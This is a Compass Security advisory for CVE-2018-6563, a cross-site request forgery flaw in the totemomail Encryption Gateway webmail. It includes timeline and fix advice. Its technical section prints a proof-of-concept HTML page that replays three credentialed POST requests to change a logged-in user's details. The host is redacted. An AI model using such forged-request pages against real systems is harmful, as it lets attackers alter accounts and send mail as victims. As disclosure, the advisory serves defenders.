Totemomail Encryption Gateway 6.0.0_Build_371 Cross Site Request Forgery

2018.05.16
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

################################################################################ # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ################################################################################ # # Product: totemomail Encryption Gateway # Vendor: totemo AG # CSNC ID: CSNC-2018-003 # CVE ID: CVE-2018-6563 # Subject: Cross-Site Request Forgery # Risk: High # Effect: Remotely exploitable # Author: Nicolas Heiniger <nicolas.heiniger@compass-security.com> # Date: 14.05.2018 # ################################################################################ Introduction: ------------- The totemomail Encryption Gateway protects email communication with any external partner by encryption. It doesn't matter whether you exchange emails with technically savvy communication partners or with those who have neither an appropriate infrastructure nor the necessary know-how. The encryption gateway also makes it easy to securely send very large attachments.[1] Compass Security discovered a vulnerability in the webmail part of the solution. It is possible to predict all parameters that are required to execute actions on the webmail interface. This allows an attacker to perform Cross-Site Request Forgery (CSRF) attacks. The attacker needs to craft a malicious web page that will automatically send a request to the Encryption Gateway. If the user is logged in, the request will be executed by the Encryption Gateway on behalf of the logged in user. This could be used to change a user's settings, send emails or change contact informations. Affected: --------- Vulnerable: * 6.0.0_Build_371 No other version was tested but is is likely that older versions are affected as well. Technical Description --------------------- In the webmail, no anti-CSRF token is used. Although the viewState makes the attack more complex, it is possible to entirely predict the requests and thus, perform CSRF attacks. The requirement here is to perform the attack as a replay of a full user interaction. One has to replay every request to make sure that the viewState is updated on the server side and corresponds to the action that is performed by the malicious page. Such a malicious page is presented below, it will automatically send 3 requests that will change the user's detail: ========== <html> <body> <script> function submitRequest1() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/webmail\/newMessage.xhtml", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "tabNavigationForm_SUBMIT=1&javax.faces.ViewState=An36[CUT BY COMPASS]XBJn&tabNavigationForm_j_id_24_j_id_26=tabNavigationForm$ var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } function submitRequest2() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true); xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8"); xhr.withCredentials = true; var body = "javax.faces.partial.ajax=true&javax.faces.source=preferencesForm_phoneNumber_input_text&javax.faces.partial.execute=preferencesForm_phoneNumber_input_tex$ var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } function submitRequest3() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "preferencesForm_firstname_input_text=CSRF&preferencesForm_lastname_input_text=CSRF&preferencesForm_phoneNumber_input_text=%2B41+00+000+00+00&preferencesF$ var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest1(); submitRequest2(); submitRequest3(); </script> </body> </html> ========== Workaround / Fix: ----------------- Install an up to date version of totemomail Encryption Gateway. As a developer, the requests that execute actions must include an unpredictable element. This is usually done by using an anti-CSRF token. This token is a random value tied to the user's session and must be verified by the server before executing any action on behalf of the user. Timeline: --------- 2018-05-14: Coordinated public disclosure date 2018-03-XX: Release of fixed version 6.0_b511 2018-02-13: Initial vendor response 2018-02-09: Initial vendor notification 2018-02-02: Assigned CVE-2018-6563 2018-01-11: Discovery by Nicolas Heiniger References: ----------- [1] https://www.totemo.com/en/solutions/email-encryption/external-encryption


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